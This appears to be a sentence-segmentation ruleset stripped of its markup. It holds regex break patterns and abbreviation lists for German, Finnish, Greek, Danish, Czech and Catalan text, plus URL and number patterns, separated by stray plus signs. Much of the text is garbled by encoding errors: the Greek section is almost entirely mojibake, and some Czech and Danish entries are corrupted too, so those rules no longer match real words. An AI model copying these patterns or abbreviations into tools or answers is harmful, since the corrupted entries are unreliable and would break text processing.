    + + + + + [\.\?!]+\s+ + + + + \S:+["'â€\)]?\s+ + + + + \u2029 + + + + (^|\s)\w\.+["'â€\)]? + + + + \d+\.+["'â€\)]? + + + + + \d+[\.\-0-9]+\d+\.+["'â€\)]? + + + + + [\.\?!]+["'â€\)]? + + \s+[a-zƒšœžßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ] + + + + \.+\w+\.+["'â€\)]? + + + + \b(^|\s)\w+\. + \s\w+\. + + + + (^|\s)\w+\.\s\w+\.+["'â€\)]? + + + + + [\(\[\{][\.\?!][\)\]\}] + + + + \b\S{1,4}\. + (\s|\xA0)[0-9\[\(]+ + + + \b\S{1,4}\. + (\s|\xA0)[A-Z]{1,2}\d + + + \S[\.\?!]+["'â€\)]?\s+ + + + + \S\t+ + + + + [A-Z]{1,2}\d?\.\s + [A-ZĆÅÓŚŻ] + + + [a-z\.,;]\s + \([a-z]\) + + + \be\.g\. + \s + + + \b[Ee][Tt][Cc]\. + \s + + + \b: + \s+\{\d\} + + + [\d]+\. + \s + + + \sU.K. + \s + + + \sU.S. + \s + + + \sMr. + \s + + + \sMrs. + \s + + + \sMs. + \s + + + \sMme. + \s + + + \sMiss. + \s + + + \sMlle. + \s + + + + + \b[Aa]bb\. + \s + + + \b[Aa]bbr\. + \s + + + \b[Aa]bk\. + \s + + + \bAB[Ll]\. + \s + + + \b[Aa]bs\. + \s + + + \b[Aa]bschn\. + \s + + + \b[Aa]bt\. + \s + + + \b[Aa]bzg\. + \s + + + \b[Aa]dr\. + \s + + + \bAllg\. + \s + + + \b[Aa]nh\. + \s + + + \bAnl\. + \s + + + \b[Aa]nm\. + \s + + + \b[Aa]nz\. + \s + + + \b[Aa]usg\. + \s + + + \b[Aa]z\. + \s + + + \bBd\. + \s + + + \b[Bb]etr\. + \s + + + \bB[Gg][Bb]l\. + \s + + + \bbiol\. + \s + + + \bbiolog\. + \s + + + \bBL\. + \s + + + \b[Bb]ull\. + \s + + + \bbzgl\. + \s + + + \bB[Zz][Ww]\. + \s + + + \bbürgerl\. + \s + + + \b[Cc]a\. + \s + + + \b[Dd]\. h\. + \s + + + \b[Dd]\.h\. + \s + + + \b[Dd]ers\. + \s + + + \b[Dd]esgl\. + \s + + + \bDez\. + \s + + + \b[Dd]iv\. + \s + + + \b[Dd]r\. + \s + + + \bDVO\. + \s + + + \behem\. + \s + + + \bE[Ii][Nn][Ss][Cc][Hh][Ll]\. + \s + + + \b[Ee]l\. + \s + + + \b[Ee]ngl\. + \s + + + \benv\. + \s + + + \b[Ee]vtl\. + \s + + + \b[Ee]xcl\. + \s + + + \b[Ff]a\. + \s + + + \bfolg\. + \s + + + \b[Gg]em\. + \s + + + \bGen\. + \s + + + \b[Gg]es\. + \s + + + \b[Gg]gf\. + \s + + + \b[Gg]mbH\. + \s + + + \bHd\. + \s + + + \b[Ii]n\. + \s + + + \b[Ii]nclCL\. + \s + + + \b[Ii]nd\. + \s + + + \b[Ii]nkl\. + \s + + + \b[Ii]nsb\. + \s + + + \b[Kk]ap\. + \s + + + \bLfd\. + \s + + + \bLGBl\. + \s + + + \b[Mm]ax\. + \s + + + \b[Mm]bh\. + \s + + + \bMi\. + \s + + + \b[Mm]ia\. + \s + + + \b[Mm]ind\. + \s + + + \b[Mm]io\. + \s + + + \b[Mm]rd\. + \s + + + \b[Nn]o\. + \s + + + \b[Nn]rn\. + \s + + + \bOrig\. + \s + + + \b[Oo]z\. + \s + + + \b[Pp]ar\. + \s + + + \bPkt\. + \s + + + \b[Pp]os\. + \s + + + \b[Pp]rof\. + \s + + + \b[Rr]andnr\. + \s + + + \brd\. + \s + + + \bRdn\. + \s + + + \bRdnr\. + \s + + + \brdt\. + \s + + + \b[Rr]el\. + \s + + + \b[Rr]esp\. + \s + + + \bR[Ee][Vv]\. + \s + + + \bRn\. + \s + + + \b[Rr]s\. + \s + + + \bR[Zz]\. + \s + + + \b[Ss]lg\. + \s + + + \b[Ss]og\. + \s + + + \b[Ss]p\. + \s + + + \b[Ss]pez\. + \s + + + \b[Ss]te\. + \s + + + \bstk\. + \s + + + \btausendMio\. + \s + + + \b[Tt]echn\. + \s + + + \b[Tt]el\. + \s + + + \bTsd\. + \s + + + \b[Uu]\.a\. + \s + + + \b[Uu]S\. + \s + + + \bvar\. + \s + + + \bverb\. + \s + + + \b[Vv]ergl\. + \s + + + \b[Vv]gl\. + \s + + + \bvs\. + \s + + + \bWilh\. + \s + + + \b[Zz]\.B\. + \s + + + \b[Zz]\.Hd\. + \s + + + \b[Zz]\.Z\. + \s + + + \b[Zz]iff\. + \s + + + \b[Zz]ul\. + \s + + + \b[Zz]yl\. + \s + + + \bzzgl\. + \s + +RegR|AR|RR|KzlR|KmzlR|KommR|KR|ÖkR|MedR|MR|OMedR|OMR|VetR|Techn\.R|BauR h\.c\.|BergR h\.c\.|ForstR h\.c\.|HR|Prof\.|Ksch\.|Ks\.|Univ\.Prof\.|(OSt|St|OS|S)R\s +Bakk\.\s*(phil\.)?\s +Mag\.\s*(art\.|phil\.|rer\. soc\. oec\.)?\s +Dipl\.\s*(Dolm\.|-Ing\.)\s +Dr\.\s*(med\.\s*univ\.\s*et\.?\s*scient\.\s*med\.|rer\.\s*soc\.\s*oec\.|phil\.|techn\.|med\.\s*(univ\.|dent\.))\s +usw\.|etc\.|z\.[Bb]\.|z\.H(d|dn)?\.\s +[;:-]\s + \.|\)\.|\]\.\s +([0-2][0-9]|3[0,1])[\./-](0[0-9]|1[0-2])[\./-](([1,2][0-9]{3})|(\d{2}))\s +\d{2}\.[\s]*(Jänner|Januar|Februar|März|April|Mai|Juni|Juli|August|September|Oktober|November|Dezember) +\d{1,3}\.\s +[IVXLCDM]+\.\s + + + + \balav\. + \s + + + \b[Aa]o\. + \s + + + \b[Aa]rv\. + \s + + + \basiak\. + \s + + + \b[Aa]y\. + \s + + + \b[Bb]ritt\. + \s + + + \b[Dd]em\. + \s + + + \b[Dd]ipl\. + \s + + + \b[Dd]os\. + \s + + + \b[Ee]m\. + \s + + + \b[Ee]nt\. + \s + + + \b[Ee]sim\. + \s + + + \b[Ee]t\. + \s + + + \b[Ee]v\.lut\. + \s + + + \b[Ff]il\. + \s + + + \b[Gg]eol\. + \s + + + \b[Hh]arj\. + \s + + + \b[Hh]enk\. + \s + + + \b[Hh]p\. + \s + + + \b[Hh]ra\. + \s + + + \b[Hh]um\. + \s + + + \b[Hh]uom\. + \s + + + \b[Ii]lt\. + \s + + + \b[Ii]nc\. + \s + + + \b[Ii]t\. + \s + + + \b[Jj]ap\. + \s + + + \bjne\. + \s + + + \b[Jj]oht\. + \s + + + \b[Kk]and\. + \s + + + \b[Kk]k\. + \s + + + \b[Kk]o\. + \s + + + \b[Kk]ok\. + \s + + + \b[Kk]s\. + \s + + + \b[Kk]ät\. + \s + + + \b[Ll]eht\. + \s + + + \b[Ll]ib\. + \s + + + \b[Ll]is\. + \s + + + \blopull\. + \s + + + \b[Ll]uot\. + \s + + + \b[Ll]ut\. + \s + + + \b[Ll]yh\. + \s + + + \b[Ll]änt\. + \s + + + \b[Ll]ääk\. + \s + + + \b[Ll]ääket\. + \s + + + \b[Mm]\.m\. + \s + + + \b[Mm]aat\. + \s + + + \b[Mm]ahd\. + \s + + + \b[Mm]aist\. + \s + + + \b[Mm]at\. + \s + + + \b[Mm]et\. + \s + + + \b[Mm]etsät\. + \s + + + \bmilj\. + \s + + + \bmin\. + \s + + + \b[Mm]m\. + \s + + + \b[Mm]ol\. + \s + + + \b[Mm]uist\. + \s + + + \b[Mm]yöh\. + \s + + + \b[Nn]im\. + \s + + + \b[Nn]imim\. + \s + + + \bnk\. + \s + + + \b[Nn]s\. + \s + + + \b[Nn]yk\. + \s + + + \b[Oo]\.s\. + \s + + + \b[Oo]ik\. + \s + + + \b[Oo]k\. + \s + + + \b[Oo]l\. + \s + + + \b[Oo]p\. + \s + + + \bos\. + \s + + + \b[Oo]vh\. + \s + + + \b[Pp]\.r\. + \s + + + \b[Pp]at\. + \s + + + \bper\.sop\. + \s + + + \b[Pp]erj\. + \s + + + \b[Pp]ion\. + \s + + + \b[Pp]it\. + \s + + + \b[Pp]k\. + \s + + + \b[Pp]l\. + \s + + + \b[Pp]o\. + \s + + + \b[Pp]ohj\. + \s + + + \b[Pp]os\. + \s + + + \b[Pp]osit\. + \s + + + \b[Pp]ros\. + \s + + + \bpuh\. + \s + + + \b[Pp]uol\. + \s + + + \b[Pp]ys\. + \s + + + \b[Pp]ääll\. + \s + + + \b[Rr]ad\. + \s + + + \b[Rr]ak\. + \s + + + \b[Rr]aut\. + \s + + + \b[Rr]ek\. + \s + + + \b[Rr]ek\.n:o\. + \s + + + \b[Rr]ek\.nro\. + \s + + + \b[Rr]oom\.kat\. + \s + + + \b[Rr]uots\. + \s + + + \b[Rr]va\. + \s + + + \bs\. + \s + + + \b[Ss]\.o\. + \s + + + \b[Ss]al\. + \s + + + \b[Ss]ar\. + \s + + + \b[Ss]d\. + \s + + + \b[Ss]it\. + \s + + + \b[Ss]iv\. + \s + + + \b[Ss]kand\. + \s + + + \b[Ss]m\. + \s + + + \b[Ss]o\. + \s + + + \bsop\. + \s + + + \b[Ss]os\. + \s + + + \b[Ss]ot\. + \s + + + \b[Ss]p\. + \s + + + \bspp\. + \s + + + \bss\. + \s + + + \b[Ss]ubj\. + \s + + + \b[Ss]uom\. + \s + + + \b[Ss]äv\. + \s + + + \b[Tt]ait\. + \s + + + \b[Tt]al\. + \s + + + \b[Tt]arj\. + \s + + + \b[Tt]av\. + \s + + + \b[Tt]ekn\. + \s + + + \b[Tt]ekst\. + \s + + + \b[Tt]eol\. + \s + + + \b[Tt]eoll\. + \s + + + \b[Tt]eor\. + \s + + + \b[Tt]ied\. + \s + + + \b[Tt]iet\. + \s + + + \b[Tt]il\. + \s + + + \btms\. + \s + + + \b[Tt]n\. + \s + + + \b[Tt]od\. + \s + + + \b[Tt]oht\. + \s + + + \b[Tt]oim\. + \s + + + \b[Tt]orst\. + \s + + + \b[Tt]p\. + \s + + + \b[Tt]ri\. + \s + + + \b[Tt]s\. + \s + + + \b[Tt]uom\. + \s + + + \b[Tt]v\. + \s + + + \b[Tt]äyd\. + \s + + + \b[Uu]gr\. + \s + + + \b[Uu]sk\. + \s + + + \b[Vv]ak\. + \s + + + \b[Vv]alt\. + \s + + + \b[Vv]altiot\. + \s + + + \b[Vv]anh\. + \s + + + \b[Vv]ar\. + \s + + + \b[Vv]ars\. + \s + + + \b[Vv]ast\. + \s + + + \b[Vv]irk\. + \s + + + \b[Vv]m\. + \s + + + \b[Vv]np\. + \s + + + \b[Vv]oim\. + \s + + + \b[Vv]pj\. + \s + + + \b[Vv]rt\. + \s + + + \b[Vv]s\. + \s + + + \b[Vv]v\. + \s + + + \b[Yy]ht\. + \s + + + \b[Yy]ks\. + \s + + + \b[Yy]ksit\. + \s + + + \b[Yy]l\. + \s + + + \b[Yy]lim\. + \s + + + \bym\. + \s + + + \b[Yy]o\. + \s + + + \b[Yy]p\. + \s + + + \b[Yy]st\. + \s + + + + + \barith\. + \s + + + \bEccq\. + \s + + + \bKÊ\. + \s + + + \b×ÉË\. + \s + + + \b×ËÌ\. + \s + + + \bÃ[Ãã]\. + \s + + + \bÃÃÃÈ\. + \s + + + \b[Ãá][Ññ]\. + \s + + + \b[Ãá][Ññ][Éé][Èè]\. + \s + + + \bÃõãïýó\. + \s + + + \b[Ââ][Ëë]\. + \s + + + \b[Ãã][Ññ][Ãá][Ìì][Ìì]\. + \s + + + \bÄÅÊ\. + \s + + + \b[Ää][Çç][Ëë]\. + \s + + + \bäéó\. + \s + + + \bäéóåê\. + \s + + + \bäéóåêáô\. + \s + + + \bÄÑ\. + \s + + + \bÄÑ×\. + \s + + + \bäñ÷\. + \s + + + \bÅÃÃÑ\. + \s + + + \b[Ã…Ã¥][Êê][Ãá][Ôô]\. + \s + + + \bÉÃÃ\. + \s + + + \b[Êê]\. + \s + + + Ê\./Êà + \s + + + \bÊ\.Ã\. + \s + + + \bÊ\.Ê\. + \s + + + \bê\.ëð\. + \s + + + ê\.Ãœ + \s + + + \bÊ[Ãá]\. + \s + + + \bÊÃÈ\. + \s + + + \bÊÅÖ\. + \s + + + \b[Êê][Êê]\. + \s + + + \bÊËÃ\. + \s + + + \bÊïò\. + \s + + + \bÊÃÓ\. + \s + + + \b[Êê][Ôô][Ëë]\. + \s + + + \b[Êê][Õõ][Ââ]\. + \s + + + \bË\.×\. + \s + + + \bë\.÷\. + \s + + + \bËïíäßíï\. + \s + + + \b[Ìì]\. + \s + + + \b[Ìì]\.[Ìì]\. + \s + + + \bÌÅÔÃÖ\. + \s + + + \bÃïåìâ\. + \s + + + \bÃÃÅÌÂÑ\. + \s + + + \bÃÊÔ\. + \s + + + \bÃêôùâ\. + \s + + + \bÃ\.×\. + \s + + + \b[Ãð]\.[Ìì]\. + \s + + + \bð\.÷\. + \s + + + \b[Ãð][Ãá][Ññ]\. + \s + + + \bðéí\. + \s + + + \b[Ãð][Ññ][Ââ]\. + \s + + + \bÑþìç\. + \s + + + \b[Óó]\. + \s + + + \bÓ×ÅÔ\. + \s + + + \bóåë\. + \s + + + \bÓÅÃÔ\. + \s + + + \b[Óó][Çç][Ìì]\. + \s + + + \bÔ\. + \s + + + \b[Ôô]\.[Ìì]\. + \s + + + \bÔÇË\. + \s + + + \b[Ôô][Ãï][Ãí]\. + \s + + + \bÕÃ\. + \s + + + \bÖÅÂ\. + \s + + + \bÖåâñ\. + \s + + + \b÷éë\. + \s + + + \b÷ëì\. + \s + + + \b›D›DÉáíïõáñ\. + \s + + + + + \b[Aa]dm\. + \s + + + \b[Aa]fr\. + \s + + + \b[Aa]frik\. + \s + + + \bafsn\. + \s + + + \b[Aa]m\. + \s + + + \b[Aa]mer\. + \s + + + \b[Aa]ng\. + \s + + + \b[Aa]nv\. + \s + + + \b[Aa]rab\. + \s + + + \b[Aa]rt\.nr\. + \s + + + \b[Aa]tt\. + \s + + + \b[Aa]ut\. + \s + + + \bautorisationsnr\. + \s + + + \bAv\. + \s + + + \b[Bb]d\. + \s + + + \b[Bb]eg\. + \s + + + \b[Bb]ek\. + \s + + + \b[Bb]elg\. + \s + + + \b[Bb]esl\. + \s + + + \b[Bb]et\. + \s + + + \b[Bb]kg\. + \s + + + \b[Bb]l\. + \s + + + \b[Bb]l\.a\. + \s + + + \b[Bb]rit\. + \s + + + \b[Bb]ulg\. + \s + + + \b[Bb]ull\. + \s + + + \b[Cc]a\. + \s + + + \b[Cc]and\. + \s + + + \b[Cc]f\. + \s + + + \b[Cc]irk\. + \s + + + \bcontainernr\. + \s + + + \b[Dd]a\. + \s + + + \b[Dd]av\. + \s + + + \b[Dd]hrr\. + \s + + + \b[Dd]if\. + \s + + + \b[Dd]ir\. + \s + + + \b[Dd]r\. + \s + + + \b[Dd]ronn\. + \s + + + \b[Dd]vs\. + \s + + + \b[Ee]gl\. + \s + + + \b[Ee]gtl\. + \s + + + \b[Ee]ks\. + \s + + + \bekskl\. + \s + + + \b[Ee]l\. + \s + + + \b[Ee]lektr\. + \s + + + \b[Ee]lektron\. + \s + + + \b[Ee]ll\. + \s + + + \b[Ee]ndv\. + \s + + + \b[Ee]ng\. + \s + + + \b[Ee]vt\. + \s + + + \bF\.[Ee][Kk][Ss]\. + \s + + + \b[Ff]a\. + \s + + + \b[Ff]g\. + \s + + + \b[Ff]hv\. + \s + + + \b[Ff]i\. + \s + + + \b[Ff]ig\. + \s + + + \bfo\. + \s + + + \b[Ff]ork\. + \s + + + \bforordn\. + \s + + + \b[Ff]orsk\. + \s + + + \bFr\. + \s + + + \b[Ff]rk\. + \s + + + \b[Ff]ung\. + \s + + + \bfær\. + \s + + + \b[Ff]ølg\. + \s + + + \bGen\. + \s + + + \b[Gg]n\. + \s + + + \b[Gg]nsntl\. + \s + + + \b[Gg]rdl\. + \s + + + \b[Gg]ymn\. + \s + + + \b[Hh]dl\. + \s + + + \b[Hh]enh\. + \s + + + \b[Hh]env\. + \s + + + \b[Hh]ft\. + \s + + + \b[Hh]hv\. + \s + + + \b[Hh]j\. + \s + + + \b[Hh]pl\. + \s + + + \b[Hh]r\. + \s + + + \b[Ii]f\. + \s + + + \b[Ii]fl\. + \s + + + \b[Ii]flg\. + \s + + + \b[Ii]ht\. + \s + + + \binkl\. + \s + + + \b[Ii]s\. + \s + + + \b[Ii]sl\. + \s + + + \b[Ii]stf\. + \s + + + \b[Ii]t\. + \s + + + \b[Ii]tal\. + \s + + + \b[Jj]\.nr\. + \s + + + \b[Jj]ap\. + \s + + + \bJ[Ff]\. + \s + + + \b[Jj]fr\. + \s + + + \b[Jj]vf\. + \s + + + \b[Kk]ap\. + \s + + + \b[Kk]gl\. + \s + + + \b[Kk]gs\. + \s + + + \b[Kk]l\. + \s + + + \b[Kk]r\. + \s + + + \b[Kk]st\. + \s + + + \b[Kk]tr\. + \s + + + \b[Ll]b\. + \s + + + \b[Ll]l\. + \s + + + \b[Ll]ok\. + \s + + + \b[Mm]aks\. + \s + + + \b[Mm]ar\. + \s + + + \b[Mm]atr\. + \s + + + \b[Mm]atr\.nr\. + \s + + + \bmax\. + \s + + + \b[Mm]edflg\. + \s + + + \b[Mm]ht\. + \s + + + \b[Mm]ia\. + \s + + + \b[Mm]io\. + \s + + + \b[Mm]l\. + \s + + + \b[Mm]odsv\. + \s + + + \b[Mm]r\. + \s + + + \b[Mm]rk\. + \s + + + \b[Mm]rs\. + \s + + + \b[Mm]s\. + \s + + + \b[Nn]b\. + \s + + + \b[Nn]dr\. + \s + + + \b[Nn]edenn\. + \s + + + \b[Nn]edenst\. + \s + + + \b[Nn]ederl\. + \s + + + \b[Nn]l\. + \s + + + \b[Nn]ml\. + \s + + + \b[Nn]o\. + \s + + + \b[Nn]ord\. + \s + + + \b[Nn]r\. + \s + + + \b[Nn]uv\. + \s + + + \b[Nn]uvær\. + \s + + + \b[Oo]bs\. + \s + + + \b[Oo]mkr\. + \s + + + \b[Oo]mr\. + \s + + + \b[Oo]mtr\. + \s + + + \b[Oo]p\.cit\. + \s + + + \b[Oo]pg\. + \s + + + \b[Oo]pr\. + \s + + + \b[Oo]venn\. + \s + + + \b[Oo]venst\. + \s + + + \b[Oo]vers\. + \s + + + \b[Pp]ag\. + \s + + + \b[Pp]ar\. + \s + + + \bPg\. + \s + + + \b[Pp]ga\. + \s + + + \b[Pp]gl\. + \s + + + \b[Pp]inx\. + \s + + + \b[Pp]kt\. + \s + + + \b[Pp]ort\. + \s + + + \b[Pp]ortug\. + \s + + + \b[Pp]os\. + \s + + + \b[Pp]r\. + \s + + + \bpÃ¥g\. + \s + + + \b[Rr]b\. + \s + + + \b[Rr]ef\. + \s + + + \b[Rr]eg\.nr\. + \s + + + \b[Rr]egn\. + \s + + + \b[Rr]esp\. + \s + + + \b[Rr]uss\. + \s + + + \b[Ss]a\. + \s + + + \b[Ss]chw\. + \s + + + \b[Ss]dr\. + \s + + + \b[Ss]ign\. + \s + + + \b[Ss]kt\. + \s + + + \b[Ss]lutn\. + \s + + + \b[Ss]ml\. + \s + + + \b[Ss]mst\. + \s + + + \b[Ss]p\. + \s + + + \b[Ss]t\. + \s + + + \b[Ss]tat\. + \s + + + \b[Ss]th\. + \s + + + \bS[Tt][Kk]\. + \s + + + \b[Ss]tr\. + \s + + + \b[Ss]tud\. + \s + + + \bsuppl\. + \s + + + \b[Ss]v\. + \s + + + \b[Ss]Ã¥k\. + \s + + + \b[Ss]ædv\. + \s + + + \b[Tt]\.eks\. + \s + + + \b[Tt]ekn\. + \s + + + \b[Tt]eoret\. + \s + + + \b[Tt]idl\. + \s + + + \b[Tt]ilh\. + \s + + + \b[Tt]ill\. + \s + + + \b[Tt]ilsv\. + \s + + + \b[Tt]jek\. + \s + + + \b[Tt]jg\. + \s + + + \b[Tt]lf\. + \s + + + \btoldpos\. + \s + + + \b[Tt]yrk\. + \s + + + \b[Uu]afh\. + \s + + + \b[Uu]dg\. + \s + + + \b[Uu]egl\. + \s + + + \b[Uu]lt\. + \s + + + \b[Uu]ndert\. + \s + + + \b[Uu]ndt\. + \s + + + \b[Uu]ng\. + \s + + + \b[Vv]edk\. + \s + + + \b[Vv]edl\. + \s + + + \b[Vv]edr\. + \s + + + \b[Vv]ejl\. + \s + + + \b[Vv]etr\. + \s + + + \b[Vv]ha\. + \s + + + \b[Vv]idensk\. + \s + + + \b[Vv]sa\. + \s + + + \bVær\. + \s + + + \bøkon\. + \s + + + \bøvr\. + \s + + + + + \ba kol\. + \s + + + \ba\. s\. + \s + + + \baj\. + \s + + + \bap\. + \s + + + \bapod\. + \s + + + \batd\. + \s + + + \batp\. + \s + + + \batpod\. + \s + + + \bCSc\. + \s + + + \bd\. + \s + + + \bdoc\. + \s + + + \bdr\. + \s + + + \bDrSc\. + \s + + + \bevent\. + \s + + + \bInc\. + \s + + + \bIng\. + \s + + + \b[jJ]iž\. + \s + + + \bJUDr\. + \s + + + \b[kK]ap\. + \s + + + \b[mM]ax\. + \s + + + \b[mM]ezinár\. + \s + + + \bMgr\. + \s + + + \b[mM]in\. + \s + + + \bmj\. + \s + + + \bMUDr\. + \s + + + \bn\. + \s + + + \bn\. l\. + \s + + + \b[nN]apÅ™\. + \s + + + \bobch\. + \s + + + \bobec\. + \s + + + \b[oO]br\. + \s + + + \bobyÄ\. + \s + + + \b[oO]dst\. + \s + + + \bos\. + \s + + + \bozn\. + \s + + + \boznaÄ\. + \s + + + \bPaeDr\. + \s + + + \bPhDr\. + \s + + + \bpl\. + \s + + + \bpopÅ™\. + \s + + + \bpozn\. + \s + + + \bprof\. + \s + + + \bpÅ™\. n\. l\. + \s + + + \bpříp\. + \s + + + \br\. + \s + + + \bresp\. + \s + + + \b[rR]oÄ\. + \s + + + \bs\. r\. o\. + \s + + + \b[sS]amohl\. + \s + + + \b[sS]ev\. + \s + + + \bsg\. + \s + + + \bsl\. + \s + + + \bsouhl\. + \s + + + \b[sS]pol\. s r\. o\. + \s + + + \b[sS]t\. + \s + + + \bstol\. + \s + + + \b[sS]tr\. + \s + + + \b[sS]tÅ™\. + \s + + + \b[sS]v\. + \s + + + \bt\.r\. + \s + + + \b[tT]ech\. + \s + + + \b[tT]el\. + \s + + + \btj\. + \s + + + \btzn\. + \s + + + \btzv\. + \s + + + \bv\. + \s + + + \bvl\. jm\. + \s + + + \bvzáj\. + \s + + + \b[vV]ých\. + \s + + + \b[zZ]ahr\. + \s + + + \b[zZ]n\. + \s + + + \bzákl\. + \s + + + \bZákld\. + \s + + + \b[zZ]áp\. + \s + + + \b[ÄÄŒ]\. + \s + + + \bÄ\. j\. + \s + + + \bè\. mn\. + \s + + + \bÄísl\. + \s + + + \bživ\. + \s + + + \bpísm\. + \s + + + \bSp\. + \s + + + \bspol\. + \s + +atd\.|atp\.|napÅ™\.|srov\.|tj\.|t\.j\.|tzv\.|tzn\.|Ä\.\s*j\.|Ä\.o\.|pís\.|písm\.|mj\.|m\.\s*j\.|naÅ™\.|ing\.|dr\.|Dr\.|Äl\.|odst\.|od\.|Sb\.|zák\.|vyhl\.|mgr\.|kt\.|o\.|s\.|Å™\.|s\.r\.o\.\s +[\d]\. +[A-Z]\. + + + + \ba\. C\. + \s + + + \ba\. m\. + \s + + + \babr\. + \s + + + \bact\. + \s + + + \badd\. + \s + + + \badj\. + \s + + + \b[Aa]dm\. + \s + + + \badmtiu\. + \s + + + \b[Aa]dv\. + \s + + + \bag\. + \s + + + \bagr\. + \s + + + \bagron\. + \s + + + \b[Aa]jt\. + \s + + + \bajud\. + \s + + + \bal\. + \s + + + \balim\. + \s + + + \balt\. + \s + + + \bampl\. + \s + + + \ban\. + \s + + + \bangl\. + \s + + + \banot\. + \s + + + \bant\. + \s + + + \bap\. + \s + + + \b[Aa]pmt\. + \s + + + \bapr\. + \s + + + \baprox\. + \s + + + \b[Aa]pt\. + \s + + + \bar\. + \s + + + \barq\. + \s + + + \barquit\. + \s + + + \b[Aa]rt\. + \s + + + \bas\.\. + \s + + + \bassign\. + \s + + + \b[Aa]ssoc\. + \s + + + \baut\. + \s + + + \b[Aa]ux\. + \s + + + \b[Aa]v\. + \s + + + \bb\. + \s + + + \b[Bb]da\. + \s + + + \b[Bb]ibl\. + \s + + + \b[Bb]l\. + \s + + + \b[Cc]\. + \s + + + \b[Cc]ap\. + \s + + + \bcast\. + \s + + + \bcat\. + \s + + + \bcatedr\. + \s + + + \bcert\. + \s + + + \b[Cc]f\. + \s + + + \bcia\. + \s + + + \bcin\. + \s + + + \bcircul\. + \s + + + \bcol\. + \s + + + \bcol·l\. + \s + + + \b[Cc]om\. + \s + + + \bcomp\. + \s + + + \bcompl\. + \s + + + \b[Cc]on\. + \s + + + \bconstr\. + \s + + + \bcontr\. + \s + + + \bcoop\. + \s + + + \bcorr\. + \s + + + \bcra\. + \s + + + \bcte\. ct\. + \s + + + \b[Cc]tra\. + \s + + + \bd\. C\. + \s + + + \bdc\. + \s + + + \bded\. + \s + + + \b[Dd]ept\. + \s + + + \bdes\. + \s + + + \bdg\. + \s + + + \b[Dd]ir\. + \s + + + \bdisp\. + \s + + + \b[Dd]istr\. + \s + + + \bdj\. + \s + + + \bdl\. + \s + + + \bdoc\. + \s + + + \bDr\. + \s + + + \bDra\. + \s + + + \bds\. + \s + + + \bdt\. + \s + + + \b[Dd]ta\. + \s + + + \bdte\. + \s + + + \bdupl\. + \s + + + \bdv\. + \s + + + \b[Ee]d\. + \s + + + \bef\. + \s + + + \b[Ee]ntl\. + \s + + + \b[Ee]sc\. + \s + + + \besp\. + \s + + + \b[Ee]sq\. + \s + + + \betc\. + \s + + + \b[Ee]x\. + \s + + + \bexc\. + \s + + + \bexp\. + \s + + + \bexped\. + \s + + + \bext\. + \s + + + \b[Ff]ac\. + \s + + + \b[Ff]ca\. + \s + + + \bfebr\. + \s + + + \bfr\. + \s + + + \b[Ff]ra\. + \s + + + \bG\.P\. + \s + + + \bgen\. + \s + + + \b[Gg]ov\. + \s + + + \bgral\. + \s + + + \bh\. + \s + + + \bil·lustr\. + \s + + + \bimp\. + \s + + + \bimpr\. + \s + + + \binst\. + \s + + + \bint\. + \s + + + \bit\. + \s + + + \bjul\. + \s + + + \bjur\. + \s + + + \bll\. + \s + + + \bllic\. + \s + + + \bloc\. cit\. + \s + + + \bltda\. + \s + + + \blín\. + \s + + + \b[Mm]\. + \s + + + \bmerc\. + \s + + + \bmil·l\. + \s + + + \bmin\. + \s + + + \bmàx\. + \s + + + \bmín\. + \s + + + \bn\. b\. + \s + + + \b[Nn]\. del [Tt]rad\. + \s + + + \bneg\. + \s + + + \bnom\. + \s + + + \bnov\. + \s + + + \bnre\. + \s + + + \b[Nn]úm\. + \s + + + \boct\. + \s + + + \bop\. + \s + + + \bop\. cit\. + \s + + + \bp\. + \s + + + \bp\. b\. + \s + + + \b[Pp]\. [Ee]\. + \s + + + \b[Pp]\. ex\. + \s + + + \bp\. i\. + \s + + + \b[Pp]\. [Mm]\. + \s + + + \bp\. n\. + \s + + + \bp\. s\. + \s + + + \bP\.D\. + \s + + + \bpart\. + \s + + + \b[Pp]g\. + \s + + + \b[Pp]l\. + \s + + + \b[Pp]obl\. + \s + + + \bport\. + \s + + + \bpos\. + \s + + + \b[Pp]ral\. + \s + + + \bprel\. + \s + + + \b[Pp]res\. + \s + + + \bpriv\. + \s + + + \bproc\. + \s + + + \b[Pp]rof\. + \s + + + \bprogr\. + \s + + + \bprov\. + \s + + + \b[Pp]ta\. + \s + + + \bptes\. + \s + + + \b[Pp]tge\. + \s + + + \bpts\. + \s + + + \bpubl\. + \s + + + \b[Pp]àg\. + \s + + + \b[Pp]ça\. + \s + + + \bq\. + \s + + + \bR\.D\. + \s + + + \b[Rr]bla\. + \s + + + Rda + \s + + + \brda\. + \s + + + \bref\. + \s + + + \breg\. + \s + + + \bres\. + \s + + + \brev\. + \s + + + \bs\. + \s + + + \bs\. a\. + \s + + + \b[Ss]\. [Uu]\. [Pp]\. + \s + + + \bS\.A\. + \s + + + \bS\.P\. + \s + + + \bs/c\. + \s + + + \bsecr\. + \s + + + \bseg\. + \s + + + \bsel\. + \s + + + \bset\. + \s + + + \bsign\. + \s + + + \bSr\. + \s + + + \bSra\. + \s + + + \bSrta\. + \s + + + \bss\. + \s + + + \bSt\. + \s + + + \bSta\. + \s + + + \bsup\. + \s + + + \bsupl\. + \s + + + \bt\. + \s + + + \btit\. + \s + + + \btrad\. + \s + + + \btrans\. + \s + + + \btransf\. + \s + + + \b[Tt]rav\. + \s + + + \btít\. + \s + + + \bu\. + \s + + + \b[Uu]niv\. + \s + + + \bv\. + \s + + + \bv\. gr\. + \s + + + \bv\. i p\. + \s + + + \bveg\. + \s + + + \bvg\. + \s + + + \bvid\. + \s + + + \bvocab\. + \s + + + \bvol\. + \s + + + \bVs\. + \s + + + \bVè\. + \s + + + \bx\. + \s + + + \b[Àà]t\. + \s + + + \bíd\. + \s + + + \búlt\. + \s + + + + + + [。ï¼ï¼Ÿï¼šâ€¦â€¦ï¼›\t.!?:] + + + + <\? + + + + \? + > + + + + + (http|https|ftp|gopher|wais): + //\S+ + + + + ((((http|https|ftp|gopher|wais)://)?(www\.))|(((http|https|ftp|gopher|wais)://)(www\.)?))\S+: + \S+ + + + + ((((http|https|ftp|gopher|wais)://)?(www\.))|(((http|https|ftp|gopher|wais)://)(www\.)?))\S+(\.|\?|:) + \S+ + + + + \d(\.|:) + \d + + + + @?\S+. + (net|com|cn|org|cc|tv|hk|uk|sg|us|jp|mil|gov|edu|int) + + + + \w: + \\\S+ + + + + + + + \b[Aa]dd\. + \s + + + \b[Aa]dm\. + \s + + + \baff\. + \s + + + \b[Aa]gr\. + \s + + + \b[Aa]l\. + \s + + + 